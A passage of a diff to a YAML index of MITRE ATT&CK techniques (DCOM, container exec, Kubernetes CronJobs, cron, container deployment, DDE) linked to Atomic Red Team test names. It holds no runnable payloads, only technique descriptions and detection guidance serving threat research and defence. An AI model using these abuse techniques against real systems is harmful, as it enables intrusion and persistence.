         Monitor for any influxes or abnormal increases in Distributed Computing Environment/Remote Procedure Call (DCE/RPC) traffic.
-      x_mitre_permissions_required:
-      - Administrator
-      - SYSTEM
-      - User
-      x_mitre_platforms:
-      - Windows
-      x_mitre_remote_support: true
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1175
+        external_id: T1175
+        source_name: mitre-attack
+      - url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
+        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
+          10, 2019.
+        source_name: Fireeye Hunting COM June 2019
+      - source_name: Microsoft COM
+        description: Microsoft. (n.d.). Component Object Model (COM). Retrieved November
+          22, 2017.
+        url: https://msdn.microsoft.com/library/windows/desktop/ms680573.aspx
+      - source_name: Microsoft COM ACL
+        description: Microsoft. (n.d.). DCOM Security Enhancements in Windows XP Service
+          Pack 2 and Windows Server 2003 Service Pack 1. Retrieved November 22, 2017.
+        url: https://docs.microsoft.com/en-us/windows/desktop/com/dcom-security-enhancements-in-windows-xp-service-pack-2-and-windows-server-2003-service-pack-1
+      - source_name: Microsoft Process Wide Com Keys
+        description: Microsoft. (n.d.). Setting Process-Wide Security Through the
+          Registry. Retrieved November 21, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms687317(v=vs.85).aspx
+      - source_name: Microsoft System Wide Com Keys
+        description: Microsoft. (n.d.). Registry Values for System-Wide Security.
+          Retrieved November 21, 2017.
+        url: https://msdn.microsoft.com/en-us/library/windows/desktop/ms694331(v=vs.85).aspx
+      - source_name: ProjectZero File Write EoP Apr 2018
+        description: 'Forshaw, J. (2018, April 18). Windows Exploitation Tricks: Exploiting
+          Arbitrary File Writes for Local Elevation of Privilege. Retrieved May 3,
+          2018.'
+        url: https://googleprojectzero.blogspot.com/2018/04/windows-exploitation-tricks-exploiting.html
+      - source_name: Enigma Outlook DCOM Lateral Movement Nov 2017
+        description: Nelson, M. (2017, November 16). Lateral Movement using Outlook's
+          CreateObject Method and DotNetToJScript. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/11/16/lateral-movement-using-outlooks-createobject-method-and-dotnettojscript/
+      - source_name: Enigma MMC20 COM Jan 2017
+        description: Nelson, M. (2017, January 5). Lateral Movement using the MMC20
+          Application COM Object. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
+      - source_name: Enigma DCOM Lateral Movement Jan 2017
+        description: 'Nelson, M. (2017, January 23). Lateral Movement via DCOM: Round
+          2. Retrieved November 21, 2017.'
+        url: https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
+      - source_name: Enigma Excel DCOM Sept 2017
+        description: Nelson, M. (2017, September 11). Lateral Movement using Excel.Application
+          and DCOM. Retrieved November 21, 2017.
+        url: https://enigma0x3.net/2017/09/11/lateral-movement-using-excel-application-and-dcom/
+      - source_name: Cyberreason DCOM DDE Lateral Movement Nov 2017
+        description: Tsukerman, P. (2017, November 8). Leveraging Excel DDE for lateral
+          movement via DCOM. Retrieved November 21, 2017.
+        url: https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom
     atomic_tests: []
   T1609:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Container Administration Command
+      x_mitre_data_sources:
+      - 'Command: Command Execution'
+      x_mitre_version: '1.0'
+      modified: '2021-04-14T12:01:10.545Z'
+      created: '2021-03-29T16:39:26.183Z'
+      x_mitre_remote_support: true
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: false
       id: attack-pattern--7b50a1d3-4ca7-45d1-989d-a6503f04bfe1
       description: |-
         Adversaries may abuse a container administration service to execute commands within a container. A container administration service such as the Docker daemon, the Kubernetes API server, or the kubelet may allow remote management of containers within an environment.(Citation: Docker Daemon CLI)(Citation: Kubernetes API)(Citation: Kubernetes Kubelet)
 
         In Docker, adversaries may specify an entrypoint during container deployment that executes a script or command, or they may use a command such as <code>docker exec</code> to execute a command within a running container.(Citation: Docker Entrypoint)(Citation: Docker Exec) In Kubernetes, if an adversary has sufficient permissions, they may gain remote execution in a container in the cluster via interaction with the Kubernetes API server, the kubelet, or by running a command such as <code>kubectl exec</code>.(Citation: Kubectl Exec Get Shell)
-      name: Container Administration Command
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1609
-        url: https://attack.mitre.org/techniques/T1609
-      - source_name: Docker Daemon CLI
-        url: https://docs.docker.com/engine/reference/commandline/dockerd/
-        description: Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.
-      - source_name: Kubernetes API
-        url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
-        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
-          March 29, 2021.
-      - source_name: Kubernetes Kubelet
-        url: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
-        description: The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29,
-          2021.
-      - source_name: Docker Entrypoint
-        url: https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime
-        description: Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.
-      - source_name: Docker Exec
-        url: https://docs.docker.com/engine/reference/commandline/exec/
-        description: Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.
-      - source_name: Kubectl Exec Get Shell
-        url: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/
-        description: The Kubernetes Authors. (n.d.). Get a Shell to a Running Container.
-          Retrieved March 29, 2021.
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
-      modified: '2021-04-14T12:01:10.545Z'
-      created: '2021-03-29T16:39:26.183Z'
-      x_mitre_platforms:
-      - Containers
       x_mitre_contributors:
       - Alfredo Oliveira, Trend Micro
       - David Fiser, @anu4is, Trend Micro
@@ -64236,11 +66291,32 @@ execution:
         log provides insight into events at the daemon and container service level.
         Kubernetes system component logs may also detect activities running in and
         out of containers in the cluster. '
-      x_mitre_remote_support: true
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.0'
-      x_mitre_data_sources:
-      - 'Command: Command Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1609
+        external_id: T1609
+        source_name: mitre-attack
+      - url: https://docs.docker.com/engine/reference/commandline/dockerd/
+        description: Docker. (n.d.). DockerD CLI. Retrieved March 29, 2021.
+        source_name: Docker Daemon CLI
+      - url: https://kubernetes.io/docs/concepts/overview/kubernetes-api/
+        description: The Kubernetes Authors. (n.d.). The Kubernetes API. Retrieved
+          March 29, 2021.
+        source_name: Kubernetes API
+      - url: https://kubernetes.io/docs/reference/command-line-tools-reference/kubelet/
+        description: The Kubernetes Authors. (n.d.). Kubelet. Retrieved March 29,
+          2021.
+        source_name: Kubernetes Kubelet
+      - url: https://docs.docker.com/engine/reference/run/#entrypoint-default-command-to-execute-at-runtime
+        description: Docker. (n.d.). Docker run reference. Retrieved March 29, 2021.
+        source_name: Docker Entrypoint
+      - url: https://docs.docker.com/engine/reference/commandline/exec/
+        description: Docker. (n.d.). Docker Exec. Retrieved March 29, 2021.
+        source_name: Docker Exec
+      - url: https://kubernetes.io/docs/tasks/debug-application-cluster/get-shell-running-container/
+        description: The Kubernetes Authors. (n.d.). Get a Shell to a Running Container.
+          Retrieved March 29, 2021.
+        source_name: Kubectl Exec Get Shell
       identifier: T1609
     atomic_tests:
     - name: ExecIntoContainer
@@ -64284,32 +66360,31 @@ execution:
         elevation_required: false
   T1053.007:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.007
-        url: https://attack.mitre.org/techniques/T1053/007
-      - source_name: Kubernetes Jobs
-        url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
-        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
-          30, 2021.
-      - source_name: Kubernetes CronJob
-        url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
-        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
-          March 29, 2021.
-      - source_name: Threat Matrix for Kubernetes
-        url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
-        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
-          March 30, 2021.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Container Orchestration Job
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Container: Container Creation'
+      - 'File: File Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-07-27T17:38:17.146Z'
+      created: '2021-03-29T17:06:22.247Z'
+      x_mitre_contributors:
+      - Center for Threat-Informed Defense (CTID)
+      - Vishwas Manral, McAfee
+      - Yossi Weizman, Azure Defender Research Team
+      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
+      x_mitre_platforms:
+      - Containers
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
 
-        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in the cluster.(Citation: Threat Matrix for Kubernetes)
-      id: attack-pattern--1126cab1-c700-412f-a510-61f4937bb096
-      type: attack-pattern
+        In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -64317,26 +66392,28 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2021-04-12T18:09:46.821Z'
-      created: '2021-03-29T17:06:22.247Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
-      x_mitre_permissions_required:
-      - User
+      x_mitre_remote_support: true
       x_mitre_detection: 'Monitor for the anomalous creation of scheduled jobs in
         container orchestration environments. Use logging agents on Kubernetes nodes
         and retrieve logs from sidecar proxies for application and resource pods to
         monitor malicious container orchestration job deployments. '
-      x_mitre_contributors:
-      - Center for Threat-Informed Defense (CTID)
-      - Vishwas Manral, McAfee
-      - Yossi Weizman, Azure Defender Research Team
-      x_mitre_platforms:
-      - Containers
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Container: Container Creation'
-      - 'File: File Creation'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/007
+        external_id: T1053.007
+        source_name: mitre-attack
+      - url: https://kubernetes.io/docs/concepts/workloads/controllers/job/
+        description: The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March
+          30, 2021.
+        source_name: Kubernetes Jobs
+      - url: https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/
+        description: The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved
+          March 29, 2021.
+        source_name: Kubernetes CronJob
+      - url: https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/
+        description: Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved
+          March 30, 2021.
+        source_name: Threat Matrix for Kubernetes
       identifier: T1053.007
     atomic_tests:
     - name: ListCronjobs
@@ -64410,20 +66487,18 @@ execution:
         elevation_required: false
   T1053.003:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1053.003
-        url: https://attack.mitre.org/techniques/T1053/003
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Cron
-      description: |-
-        Adversaries may abuse the <code>cron</code> utility to perform task scheduling for initial or recurring execution of malicious code. The <code>cron</code> utility is a time-based job scheduler for Unix-like operating systems.  The <code> crontab</code> file contains the schedule of cron entries to be run and the specified times for execution. Any <code>crontab</code> files are stored in operating system-specific file paths.
-
-        An adversary may use <code>cron</code> in Linux or Unix environments to execute programs at system startup or on a scheduled basis for persistence. <code>cron</code> can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.
-      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
       type: attack-pattern
+      name: Cron
+      x_mitre_data_sources:
+      - 'Scheduled Job: Scheduled Job Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'Process: Process Creation'
+      x_mitre_version: '1.1'
+      modified: '2021-08-23T15:29:36.918Z'
+      created: '2019-12-03T14:25:00.538Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
@@ -64431,13 +66506,22 @@ execution:
         phase_name: persistence
       - kill_chain_name: mitre-attack
         phase_name: privilege-escalation
-      modified: '2020-03-23T23:30:46.546Z'
-      created: '2019-12-03T14:25:00.538Z'
-      x_mitre_version: '1.0'
+      id: attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c
+      x_mitre_platforms:
+      - Linux
+      - macOS
       x_mitre_is_subtechnique: true
-      x_mitre_remote_support: false
       x_mitre_permissions_required:
       - User
+      description: "Adversaries may abuse the <code>cron</code> utility to perform
+        task scheduling for initial or recurring execution of malicious code.(Citation:
+        20 macOS Common Tools and Techniques) The <code>cron</code> utility is a time-based
+        job scheduler for Unix-like operating systems.  The <code> crontab</code>
+        file contains the schedule of cron entries to be run and the specified times
+        for execution. Any <code>crontab</code> files are stored in operating system-specific
+        file paths.\n\nAn adversary may use <code>cron</code> in Linux or Unix environments
+        to execute programs at system startup or on a scheduled basis for persistence. "
+      x_mitre_remote_support: false
       x_mitre_detection: "Monitor scheduled task creation from common utilities using
         command-line invocation. Legitimate scheduled tasks may be created during
         installation of new software or through system administration functions. Look
@@ -64448,14 +66532,15 @@ execution:
         part of a chain of behavior that could lead to other activities, such as network
         connections made for Command and Control, learning details about the environment
         through Discovery, and Lateral Movement. "
-      x_mitre_data_sources:
-      - 'Scheduled Job: Scheduled Job Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'Process: Process Creation'
-      x_mitre_platforms:
-      - Linux
-      - macOS
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1053/003
+        external_id: T1053.003
+        source_name: mitre-attack
+      - url: https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/
+        description: Phil Stokes. (2021, February 16). 20 Common Tools & Techniques
+          Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.
+        source_name: 20 macOS Common Tools and Techniques
       identifier: T1053.003
     atomic_tests:
     - name: Cron - Replace crontab with referenced file
@@ -64547,56 +66632,19 @@ execution:
 '
   T1610:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1610
-        url: https://attack.mitre.org/techniques/T1610
-      - source_name: Docker Containers API
-        url: https://docs.docker.com/engine/api/v1.41/#tag/Container
-        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
-          Retrieved March 29, 2021.
-      - source_name: Kubernetes Dashboard
-        url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
-        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
-          Retrieved March 29, 2021.
-      - source_name: Kubeflow Pipelines
-        url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
-        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
-          Retrieved March 29, 2021.
-      - source_name: Aqua Build Images on Hosts
-        url: https://blog.aquasec.com/malicious-container-image-docker-container-host
-        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
-          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Deploy Container
-      description: |-
-        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
-
-        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
-      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: execution
+      name: Deploy Container
+      x_mitre_data_sources:
+      - 'Container: Container Creation'
+      - 'Container: Container Start'
+      - 'Pod: Pod Creation'
+      - 'Pod: Pod Modification'
+      - 'Application Log: Application Log Content'
+      x_mitre_version: '1.0'
       modified: '2021-04-14T12:02:20.641Z'
       created: '2021-03-29T16:51:26.020Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
-      - root
-      x_mitre_remote_support: true
-      x_mitre_detection: Monitor for suspicious or unknown container images and pods
-        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
-        logs from sidecar proxies for application pods to detect malicious activity
-        at the cluster level. In Docker, the daemon log provides insight into remote
-        API calls, including those that deploy containers. Logs for management services
-        or applications used to deploy containers other than the native technologies
-        themselves should also be monitored.
       x_mitre_contributors:
       - Pawan Kinger, @kingerpawan, Trend Micro
       - Alfredo Oliveira, Trend Micro
@@ -64606,85 +66654,127 @@ execution:
       - Ariel Shuper, Cisco
       - Vishwas Manral, McAfee
       - Yossi Weizman, Azure Defender Research Team
+      id: attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92
       x_mitre_platforms:
       - Containers
-      x_mitre_data_sources:
-      - 'Container: Container Creation'
-      - 'Container: Container Start'
-      - 'Pod: Pod Creation'
-      - 'Pod: Pod Modification'
-      - 'Application Log: Application Log Content'
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
+      - root
+      description: |-
+        Adversaries may deploy a container into an environment to facilitate execution or evade defenses. In some cases, adversaries may deploy a new container to execute processes associated with a particular image or deployment, such as processes that execute or download malware. In others, an adversary may deploy a new container configured without network rules, user limitations, etc. to bypass existing defenses within the environment.
+
+        Containers can be deployed by various means, such as via Docker's <code>create</code> and <code>start</code> APIs or via a web application such as the Kubernetes dashboard or Kubeflow.(Citation: Docker Containers API)(Citation: Kubernetes Dashboard)(Citation: Kubeflow Pipelines) Adversaries may deploy containers based on retrieved or built malicious images or from benign images that download and execute malicious payloads at runtime.(Citation: Aqua Build Images on Hosts)
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: execution
+      x_mitre_remote_support: true
+      x_mitre_detection: Monitor for suspicious or unknown container images and pods
+        in your environment. Deploy logging agents on Kubernetes nodes and retrieve
+        logs from sidecar proxies for application pods to detect malicious activity
+        at the cluster level. In Docker, the daemon log provides insight into remote
+        API calls, including those that deploy containers. Logs for management services
+        or applications used to deploy containers other than the native technologies
+        themselves should also be monitored.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1610
+        external_id: T1610
+        source_name: mitre-attack
+      - url: https://docs.docker.com/engine/api/v1.41/#tag/Container
+        description: Docker. (n.d.). Docker Engine API v1.41 Reference - Container.
+          Retrieved March 29, 2021.
+        source_name: Docker Containers API
+      - url: https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/
+        description: The Kubernetes Authors. (n.d.). Kubernetes Web UI (Dashboard).
+          Retrieved March 29, 2021.
+        source_name: Kubernetes Dashboard
+      - url: https://www.kubeflow.org/docs/components/pipelines/overview/pipelines-overview/
+        description: The Kubeflow Authors. (n.d.). Overview of Kubeflow Pipelines.
+          Retrieved March 29, 2021.
+        source_name: Kubeflow Pipelines
+      - url: https://blog.aquasec.com/malicious-container-image-docker-container-host
+        description: 'Assaf Morag. (2020, July 15). Threat Alert: Attackers Building
+          Malicious Images on Your Hosts. Retrieved March 29, 2021.'
+        source_name: Aqua Build Images on Hosts
     atomic_tests: []
   T1559.002:
     technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Dynamic Data Exchange
+      x_mitre_data_sources:
+      - 'Module: Module Load'
+      - 'Process: Process Creation'
+      - 'Script: Script Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-07-26T22:52:04.196Z'
       created: '2020-02-12T14:10:50.699Z'
-      modified: '2020-03-28T19:32:56.572Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: execution
-      type: attack-pattern
       id: attack-pattern--232a7e42-cd6e-4902-8fe9-2960f529dd4d
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: true
+      x_mitre_permissions_required:
+      - User
       description: |-
         Adversaries may use Windows Dynamic Data Exchange (DDE) to execute arbitrary commands. DDE is a client-server protocol for one-time and/or continuous inter-process communication (IPC) between applications. Once a link is established, applications can autonomously exchange transactions consisting of strings, warm data links (notifications when a data item changes), hot data links (duplications of changes to a data item), and requests for command execution.
 
         Object Linking and Embedding (OLE), or the ability to link data between documents, was originally implemented through DDE. Despite being superseded by [Component Object Model](https://attack.mitre.org/techniques/T1559/001), DDE may be enabled in Windows 10 and most of Microsoft Office 2016 via Registry keys. (Citation: BleepingComputer DDE Disabled in Word Dec 2017) (Citation: Microsoft ADV170021 Dec 2017) (Citation: Microsoft DDE Advisory Nov 2017)
 
-        Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).
-      name: Dynamic Data Exchange
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1559.002
-        url: https://attack.mitre.org/techniques/T1559/002
-      - url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
-        description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature
-          in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.
-        source_name: BleepingComputer DDE Disabled in Word Dec 2017
-      - url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
-        description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office
-          Defense in Depth Update. Retrieved February 3, 2018.
-        source_name: Microsoft ADV170021 Dec 2017
-      - url: https://technet.microsoft.com/library/security/4053440
-        description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440
-          - Securely opening Microsoft Office documents that contain Dynamic Data
-          Exchange (DDE) fields. Retrieved November 21, 2017.
-        source_name: Microsoft DDE Advisory Nov 2017
-      - url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
-        description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The
-          Power Within. Retrieved November 22, 2017.
-        source_name: SensePost PS DDE May 2016
-      - url: https://www.contextis.com/blog/comma-separated-vulnerabilities
-        description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities.
-          Retrieved November 22, 2017.
-        source_name: Kettle CSV DDE Aug 2014
-      - url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
-        description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and
-          Excel for Code Execution. Retrieved February 3, 2018.'
-        source_name: Enigma Reviving DDE Jan 2018
-      - url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
-        description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code
-          Exec in MSWord. Retrieved November 21, 2017.
-        source_name: SensePost MacroLess DDE Oct 2017
-      - url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
-        description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents.
-          Retrieved November 21, 2017.
-        source_name: NVisio Labs DDE Detection Oct 2017
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.0'
+        Microsoft Office documents can be poisoned with DDE commands (Citation: SensePost PS DDE May 2016) (Citation: Kettle CSV DDE Aug 2014), directly or through embedded files (Citation: Enigma Reviving DDE Jan 2018), and used to deliver execution via [Phishing](https://attack.mitre.org/techniques/T1566) campaigns or hosted Web content, avoiding the use of Visual Basic for Applications (VBA) macros. (Citation: SensePost MacroLess DDE Oct 2017) DDE could also be leveraged by an adversary operating on a compromised machine who does not have direct access to a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059). DDE execution can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)
+      x_mitre_remote_support: true
       x_mitre_detection: |-
         Monitor processes for abnormal behavior indicative of DDE abuse, such as Microsoft Office applications loading DLLs and other modules not typically associated with the application or these applications spawning unusual processes (such as cmd.exe).
 
         OLE and Office Open XML files can be scanned for ‘DDEAUTO', ‘DDE’, and other strings indicative of DDE execution.(Citation: NVisio Labs DDE Detection Oct 2017)
-      x_mitre_permissions_required:
-      - User
-      x_mitre_data_sources:
-      - 'Module: Module Load'
-      - 'Process: Process Creation'
-      - 'Script: Script Execution'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1559/002
+        external_id: T1559.002
+        source_name: mitre-attack
+      - source_name: BleepingComputer DDE Disabled in Word Dec 2017
+        description: Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature
+          in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.
+        url: https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/
+      - source_name: Microsoft ADV170021 Dec 2017
+        description: Microsoft. (2017, December 12). ADV170021 - Microsoft Office
+          Defense in Depth Update. Retrieved February 3, 2018.
+        url: https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021
+      - source_name: Microsoft DDE Advisory Nov 2017
+        description: Microsoft. (2017, November 8). Microsoft Security Advisory 4053440
+          - Securely opening Microsoft Office documents that contain Dynamic Data
+          Exchange (DDE) fields. Retrieved November 21, 2017.
+        url: https://technet.microsoft.com/library/security/4053440
+      - source_name: SensePost PS DDE May 2016
+        description: El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The
+          Power Within. Retrieved November 22, 2017.
+        url: https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/
+      - source_name: Kettle CSV DDE Aug 2014
+        description: Kettle, J. (2014, August 29). Comma Separated Vulnerabilities.
+          Retrieved November 22, 2017.
+        url: https://www.contextis.com/blog/comma-separated-vulnerabilities
+      - source_name: Enigma Reviving DDE Jan 2018
+        description: 'Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and
+          Excel for Code Execution. Retrieved February 3, 2018.'
+        url: https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee
+      - source_name: SensePost MacroLess DDE Oct 2017
+        description: Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code
+          Exec in MSWord. Retrieved November 21, 2017.
+        url: https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/
+      - url: https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html
+        description: Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June
+          10, 2019.
+        source_name: Fireeye Hunting COM June 2019
+      - source_name: NVisio Labs DDE Detection Oct 2017
+        description: NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents.
+          Retrieved November 21, 2017.
+        url: https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/
       identifier: T1559.002
     atomic_tests:
     - name: Execute Commands
@@ -64759,10 +66849,27 @@ execution:
     technique:
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
